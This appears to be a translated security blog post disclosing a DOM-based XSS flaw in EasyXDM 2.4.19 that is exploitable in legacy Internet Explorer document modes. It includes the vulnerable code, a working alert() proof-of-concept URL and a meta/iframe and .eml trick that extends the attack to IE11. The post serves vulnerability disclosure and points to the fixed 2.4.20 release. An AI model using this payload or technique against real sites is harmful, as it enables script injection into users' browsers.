利用文档模式继承漏洞:EasyXDM 2.4.19 DOMXSS分析

本文详细分析了EasyXDM 2.4.19版本中存在的DOM型XSS漏洞,该漏洞通过IE浏览器的文档模式继承特性实现攻击,影响范围可扩展到所有IE11用户。文章包含技术细节、PoC验证及修复建议。

滥用文档模式继承:EasyXDM 2.4.19 DOMXSS漏洞分析

本文将详细解释EasyXDM 2.4.19版本中存在的XSS问题。该问题已向开发者报告并在后续版本中修复。

用户应立即升级至EasyXDM 2.4.20版本
安全更新发布地址:
https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20

技术细节

该漏洞的触发需要特殊技巧:

  1. 仅影响MSIE浏览器
  2. 要求文档模式为旧版本(IE7或5)
  3. 漏洞存在于仅旧版浏览器才会执行的代码路径中

漏洞核心位于createElement()函数:

1
2
3
if (HAS_NAME_PROPERTY_BUG) {
    frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
}

HAS_NAME_PROPERTY_BUG变量的检测逻辑:

1
2
3
4
5
6
7
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), 
        input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId;
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    document.body.removeChild(form);
}

测试页面验证:
http://vulnerabledoma.in/easyxdm/name_property_test.html

漏洞验证

在IE7模式下访问以下URL可触发alert弹窗:
http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0

文档模式继承技术

通过特殊技巧扩展攻击影响范围:

1
2
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?..."></iframe>

关键发现:当使用message/rfc822内容类型时,IE会强制继承文档模式:
http://l0.cm/easyxdm/poc.eml

影响评估

该技术使得原本仅影响IE7模式的问题可影响所有IE11用户,显著扩大了漏洞影响范围。


Posted by Masato Kinugawa at 6:30 AM
Labels: IE, OSS, Security, XSS

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计